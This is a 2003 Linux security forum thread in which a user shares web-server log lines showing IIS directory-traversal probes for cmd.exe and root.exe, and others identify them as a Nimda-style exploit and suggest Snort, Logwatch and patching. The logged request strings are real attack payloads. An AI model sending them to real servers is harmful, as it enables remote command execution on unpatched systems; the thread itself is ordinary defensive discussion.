LinuxQuestions.org
Visit the LQ Articles and Editorials section
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices

Reply
 
LinkBack Search this Thread
Old 11-15-2003, 02:03 AM   #1
vous
Member
 
Registered: Mar 2003
Location: Macondo
Distribution: Mandrake 9.1, 10.1, SuSE 8.1 pro, 10.1, Red Hat 8.0/9.0
Posts: 380

Rep: Reputation: 30
Did we just get hacked?


Hello All,

I was looking at our Web Server log files last night and I saw what I think is a hack attempt. I am not sure, but it seems like the person thought this was a Windows box and I see that they tried to get a hold of cmd.exe, thus a Windows config file which I assume was meant for not so friendly purposes...can anybody give me a hint if this is indeed a hack attack???

Here is a cut from the logs:


172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 283
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
172.190.33.167 - - [14/Nov/2003:21:07:08 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
 
Old 11-15-2003, 02:15 AM   #2
sh0
LQ Newbie
 
Registered: Nov 2003
Location: Germany
Distribution: Slackware 7.0 - 10.0
Posts: 26

Rep: Reputation: 15
hi,
looks like a part of an IIS exploit.

try: http://securityfocus.com/ for more info.

There was a worm used this code too, can't rember it's name something like nimda!?
 
Old 11-15-2003, 02:22 AM   #3
vous
Member
 
Registered: Mar 2003
Location: Macondo
Distribution: Mandrake 9.1, 10.1, SuSE 8.1 pro, 10.1, Red Hat 8.0/9.0
Posts: 380

Original Poster
Rep: Reputation: 30
This person tried to get in through my Web Server, thus port 80 in this case, but how can I monitor the rest of my ports?
 
Old 11-15-2003, 02:39 AM   #4
chort
Senior Member
 
Registered: Jul 2003
Location: Silicon Valley, USA
Distribution: OpenBSD 4.6, OS X 10.6.2, CentOS 4 & 5
Posts: 3,660

Rep: Reputation: 69
Well, you don't really monitor "ports" per se, but rather applications (after all, it's not good hitting a port if nothing exploitable is listening on it for traffic). You should review all your application logs regularly for suspicious behavior. There are several scripts out there to pick out odd log entries and bring them to your attention. Logwatch is one of them that comes to mind, but there are many others.

For monitoring all network traffic you'll want a Network Intrusion Detection System. Snort is by far the most popular of these. Nearly every Linux and BSD distribution has a pre-built package with Snort. You can also check www.snort.org.
 
Old 11-17-2003, 08:11 AM   #5
phoeniXflame
Member
 
Registered: Feb 2003
Location: Somewhere, UK
Distribution: Slack, OpenBSD, Debian, SuSE
Posts: 189

Rep: Reputation: 30
if you run an IDS for any period of time you'll learn that your machine will be scanned/tested for these IIS exploits nearly every day, its very common, just make sure you dont run it or if you do, patch it to buggery, patch patch patch patch and you'll be ok, usually its just oportunistic script kiddies scanning large blocks
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are Off
Pingbacks are On
Refbacks are Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Have I been hacked? Please help linuxboy69 Linux - Security 11 09-07-2005 07:20 AM
Hacked? mikeshn Linux - Security 2 03-12-2004 01:57 PM
Help! Have I been hacked? Tenover Linux - Security 1 11-19-2003 03:24 PM
am i being hacked? tearinox Linux - Security 5 11-13-2003 06:00 PM
i think i've been hacked! safil Linux - Security 7 11-02-2003 10:16 AM


All times are GMT -5. The time now is 02:03 PM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration